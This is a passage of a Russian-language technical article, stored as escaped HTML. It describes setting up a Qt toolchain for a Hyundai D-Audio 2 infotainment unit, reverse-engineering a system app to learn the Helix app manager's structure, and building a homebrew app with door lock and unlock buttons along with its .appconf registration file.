src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/89c\/f57\/aad\/89cf57aad25bf19e3da3e23d0c9648be.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/89c\/f57\/aad\/89cf57aad25bf19e3da3e23d0c9648be.png\"\/><\/div>\n<p>  \u0417\u0430\u0442\u0435\u043c \u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0441\u0432\u043e\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 Qt \u0432\u043e \u0432\u043a\u043b\u0430\u0434\u043a\u0443 Qt Versions, \u0443\u043a\u0430\u0437\u0430\u0432 \u0435\u0439 \u0444\u0430\u0439\u043b <code>qmake<\/code> \u0432 root \u043e\u0431\u0440\u0430\u0437\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043c\u043e\u0435\u0439 IVI.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/e44\/540\/c05\/e44540c05c72d7e6e6334f6103a2e4cf.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/e44\/540\/c05\/e44540c05c72d7e6e6334f6103a2e4cf.png\"\/><\/div>\n<p>  \u0417\u0430\u0442\u0435\u043c \u044f \u043e\u0431\u0435\u0440\u043d\u0443\u043b \u0432\u0441\u0451 \u044d\u0442\u043e, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u043d\u043e\u0432\u044b\u0439 \u043a\u0438\u0442 D-Audio 2 \u0438 \u0443\u043a\u0430\u0437\u0430\u0432 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u044e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Qt \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u0432.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/258\/615\/033\/2586150335331059ffdb62b6c55a7a6c.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/258\/615\/033\/2586150335331059ffdb62b6c55a7a6c.png\"\/><\/div>\n<p>  <\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/623\/008\/df3\/623008df388a08541fd886fca98b5f6c.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/623\/008\/df3\/623008df388a08541fd886fca98b5f6c.png\"\/><\/div>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u044f \u0433\u043e\u0442\u043e\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c GUI-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f IVI.<\/p>\n<h1>\u0418\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442<\/h1>\n<p>  \u041d\u0443, \u0442\u043e\u0447\u043d\u0435\u0435, \u043f\u043e\u0447\u0442\u0438 \u0433\u043e\u0442\u043e\u0432. \u041c\u043d\u0435 \u0432\u0441\u0451 \u0435\u0449\u0451 \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f, \u043a\u0430\u043a \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043c\u043e\u0451 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Helix, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0437\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u043e\u043c. \u042f \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0430\u0439\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0435\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0438\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.<\/p>\n<p>  \u042f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0432\u0441\u0435 GUI-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0432 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u0441\u0430\u043c\u043e\u0433\u043e \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0433\u043e. \u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u043d\u0430 EProfilerApp, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u0432 <code>\/usr\/share\/AMOS\/EProfilerApp<\/code>. \u042d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0435 GUI-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0441\u0443\u0434\u044f \u043f\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0435 \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430\/\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b AMOS. \u042f \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043b EProfilerApp \u0432 IDA:<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/a86\/149\/15d\/a8614915dda76f5ccb22d3f7e4368f0c.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/a86\/149\/15d\/a8614915dda76f5ccb22d3f7e4368f0c.png\"\/><\/div>\n<p>  \u0412 EProfilerApp \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0430\u0441\u044c \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f! \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0431\u044b\u043b\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433. \u0412\u043e\u0442 \u0447\u0442\u043e \u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b:<\/p>\n<p>  \u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>main()<\/code> \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Helix \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<pre><code class=\"cpp\">int main(int argc, char *argv[]) {     QApplication app(argc, argv);     MyApplication myApplication = MyApplication();     myApplication.init(app, argc, argv);      return app.exec(); }<\/code><\/pre>\n<p>  QApplication \u2014 \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 QApplication \u0438\u0437 Qt5, \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Qt5. \u0414\u0430\u043b\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 Application \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Helix, \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 MyApplication. MyApplication \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 ApplicationQt\/Application Helix. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 Application \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c Helix.<\/p>\n<p>  \u0412 Helix \u0435\u0441\u0442\u044c \u0442\u0440\u0438 \u0442\u0438\u043f\u0430 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432:<\/p>\n<ul>\n<li>App View<br \/> \n<ul>\n<li>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u044d\u043a\u0440\u0430\u043d\/\u043e\u043a\u043d\u043e Qt5, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u043e\u043b\u043d\u043e\u044d\u043a\u0440\u0430\u043d\u043d\u044b\u0435 \u043e\u043a\u043d\u0430, \u0442\u0430\u043a \u0438 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0438\u0435.<\/li>\n<li>\u041e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435, \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0438 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043e\u043a\u043d\u0430 Qt5.<\/li>\n<\/ul>\n<p>  <\/li>\n<li>App Service<br \/> \n<ul>\n<li>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441.<\/li>\n<\/ul>\n<p>  <\/li>\n<li>Event Receiver<br \/> \n<ul>\n<li>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u0432\u0441\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>  \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0438\u043c\u0435\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u043c\u044f, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Java (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440: com.mobis.caudio.setupApp.SetupAppView). Helix \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441 Application \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0438\u043c\u044f \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430. \u0417\u0430\u0442\u0435\u043c \u043a\u043b\u0430\u0441\u0441 Application \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u043c\u044f \u0438 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\/\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0443\u0436\u043d\u044b\u0439 AppView\/AppService\/EventReceiver \u0438\u043b\u0438 nullptr, \u0435\u0441\u043b\u0438 \u0438\u043c\u044f \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e.<\/p>\n<h1>Hello World, \u043d\u043e \u0441 \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438<\/h1>\n<p>  \u041d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0435 GUI-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 <a href=\"https:\/\/github.com\/greenluigi1\/DAudio2GuiTemplate\" rel=\"nofollow noopener noreferrer\">\u0437\u0434\u0435\u0441\u044c<\/a>.<\/p>\n<p>  \u0412 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0435\u0441\u0442\u044c \u043e\u0434\u0438\u043d AppView \u0441 \u043e\u0447\u0435\u043d\u044c \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c ExampleGuiAppView, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0438\u043c\u044f \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 com.greenluigi1.guiExample.TestAppView. \u042d\u0442\u043e\u0442 AppView \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u043e\u043a\u043d\u043e \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438:<\/p>\n<ul>\n<li>Lock<br \/> \n<ul>\n<li>\u0411\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0432\u0441\u0435 \u0434\u0432\u0435\u0440\u0438 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f.<\/li>\n<\/ul>\n<p>  <\/li>\n<li>Unlock<br \/> \n<ul>\n<li>\u0420\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0434\u0432\u0435\u0440\u0438 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f.<\/li>\n<li>\u0414\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u043a\u043d\u043e\u043f\u043a\u0430 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043d\u0430 \u0431\u0440\u0435\u043b\u043a\u0435. \u041f\u0440\u0438 \u043e\u0434\u043d\u043e\u043c \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u043e\u0440\u043e\u043d\u0430 \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f, \u043f\u0440\u0438 \u0434\u0432\u0443\u0445 \u2014 \u0432\u0441\u0435 \u0434\u0432\u0435\u0440\u0438.<\/li>\n<\/ul>\n<p>  <\/li>\n<li>Test<br \/> \n<ul>\n<li>\u0412\u044b\u0432\u043e\u0434\u0438\u0442 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0432 \u043b\u043e\u0433 Logcat.<\/li>\n<\/ul>\n<p>  <\/li>\n<li>Exit<br \/> \n<ul>\n<li>\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>finish()<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>  \u041c\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e. \u041d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438.<\/p>\n<p>  \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0435\u0449\u0451 \u043f\u0430\u0440\u0443 \u0432\u0435\u0449\u0435\u0439. \u041d\u0443\u0436\u043d\u043e \u00ab\u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00bb \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0447\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u0443\u0432\u0438\u0434\u0435\u043b Helix. \u041c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Helix \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b\u044b ini \u0438\u0437 \u043f\u0430\u043f\u043a\u0438 <code>\/etc\/appmanager\/appconf<\/code>. \u041a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u0439\u043b ini \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 Helix \u0438\u043c\u044f \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 AppView, AppService \u0438 EventReceiver, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0441\u043b\u0443\u0448\u0430\u044e\u0442 \u0432\u0430\u0448\u0438 EventReceiver.<\/p>\n<p>  \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<pre><code class=\"cpp\">[Application] Name=com.company.grouping.appName Exec=\/usr\/share\/app-appName-1.0.0\/appName  [TestAppService] #ComponentName : com.company.grouping.appName.TestAppService Type=AppService  [TestAppView] #ComponentName : com.company.grouping.appName.TestAppView Type=AppView  [TestEventReceiver] #ComponentName : com.company.grouping.appName.TestEventReceiver Type=EventReceiver Event=com.mobis.caudio.ACTION.POWER_OFF<\/code><\/pre>\n<p>  \u041a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u0439\u043b .appconf \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0433\u0440\u0443\u043f\u043f\u044b [Application], \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0451 \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u0431\u0430\u0437\u043e\u0432\u043e\u0435 \u0438\u043c\u044f \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 Helix \u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0441 \u0438\u043c\u0435\u043d\u0438 \u043f\u0430\u043a\u0435\u0442\u0430, \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0430 \u0432\u0430\u0448\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0417\u0430\u0442\u0435\u043c \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f Exec, \u0442\u043e \u0435\u0441\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>  \u0417\u0430 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 [Application] \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0433\u0440\u0443\u043f\u043f. \u041a\u0430\u0436\u0434\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442. \u0418\u043c\u044f \u0433\u0440\u0443\u043f\u043f\u044b \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0438\u043c\u044f \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, [TestAppView] \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c TestAppView, \u0438\u043b\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 com.company.grouping.appName.TestAppView. \u0412 \u0433\u0440\u0443\u043f\u043f\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430. \u041a\u0430\u0436\u0434\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 \u0438\u043c\u0435\u0435\u0442 Type, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 AppView, AppService \u0438\u043b\u0438 EventReceiver. \u041a\u0430\u0436\u0434\u044b\u0439 \u0442\u0438\u043f \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0442\u0438\u043f EventReceiver \u0438\u043c\u0435\u0435\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e Event, \u044f\u0432\u043b\u044f\u044e\u0449\u0435\u0435\u0441\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c \u0437\u0430\u043f\u044f\u0442\u044b\u043c\u0438 \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f Receiver. \u0421\u0442\u0440\u043e\u043a\u0438, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0441 #, \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438, \u0438 Helix \u0438\u0445 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442.<\/p>\n<p>  \u041c\u043d\u0435 \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b .appconf, \u0447\u0442\u043e\u0431\u044b \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043c\u043e\u0451 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0412\u043e\u0442 \u043a \u0447\u0435\u043c\u0443 \u044f 